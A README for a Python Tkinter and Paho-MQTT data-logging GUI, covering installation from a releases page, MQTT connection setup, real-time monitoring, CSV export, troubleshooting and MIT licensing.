Python-MQTT-Data-Logger-GUI is a user-friendly application designed for effortless data logging using the MQTT protocol. Built with Python's Tkinter and Paho-MQTT, it provides a simple interface for secure authentication, custom port settings, and automatic CSV export of your logged data. This tool is perfect for anyone interested in automation or IoT projects.
- Operating System: Windows, macOS, or Linux
- Python Version: Python 3.6 or higher
- Memory: At least 4 GB RAM
- Disk Space: Minimum of 100 MB available
Follow these steps to download and set up the application on your computer.
-
Visit the Releases Page
Click the link below to access the download page:
Download Python-MQTT-Data-Logger-GUI Releases -
Choose the Latest Version
On the Releases page, find the version labeled "Latest release." This version includes the most recent updates and bug fixes. -
Download the Installer
Once you locate the latest version, download the installer file suited for your operating system. Look for files with the extensions.exefor Windows,.dmgfor macOS, and appropriate package formats for Linux. -
Run the Installer
After the download completes, navigate to your downloads folder and double-click the installer file. Follow the on-screen instructions to complete the installation. -
Launch the Application
After the installation, find the application in your program list and launch it. You will see a straightforward interface designed for your ease of use.
-
Set Up MQTT Connection
To begin logging data, you'll need to configure your MQTT settings. Enter your MQTT broker's address, port number, and other required credentials. -
Select Data Sources
Choose the sensors or data sources you want to log. This could be temperature, humidity, or any other measurement available from your MQTT feeds. -
Export Settings
Configure export options for your logs. You can select the directory for the CSV files and set the intervals for data logging.
-
Start Data Logging
Press the "Start" button once your settings are in place. The application will begin reaching out to your selected data sources. -
Monitor Data in Real-Time
You can view incoming data within the application. You'll see real-time graphs that can help visualize the changes as they occur. -
Export Data
Once you stop logging, export the collected data as a CSV file by clicking on the βExportβ button. Your data will be saved in the directory you specified. -
Adjust Settings as Needed
Feel free to modify your settings at any time if you need to change data sources or export options.
- Simple user interface for easy navigation
- Support for secure authentication
- Custom port options for flexibility
- Automatic CSV export for convenient data handling
- Real-time data monitoring and visualization
If you encounter any issues while using the application, consider the following:
-
Connection Issues
Ensure your internet connection is stable and your MQTT broker settings are correct. -
Data Not Logging
Check that your selected data sources are sending data and that you have the right permissions. -
Export Problems
Make sure the export directory exists and you have write access to that location.
For more help, you can check the issues section on the GitHub repository.
To begin using Python-MQTT-Data-Logger-GUI, visit the page below for the latest releases, select your installer, and follow the installation instructions:
Download Python-MQTT-Data-Logger-GUI Releases
We welcome contributions! If youβd like to enhance this application or fix bugs, please refer to the contributing guidelines provided in the repository.
This project is licensed under the MIT License. You can use, modify, and distribute this software freely, provided that you include the original license in all copies or substantial portions of the software.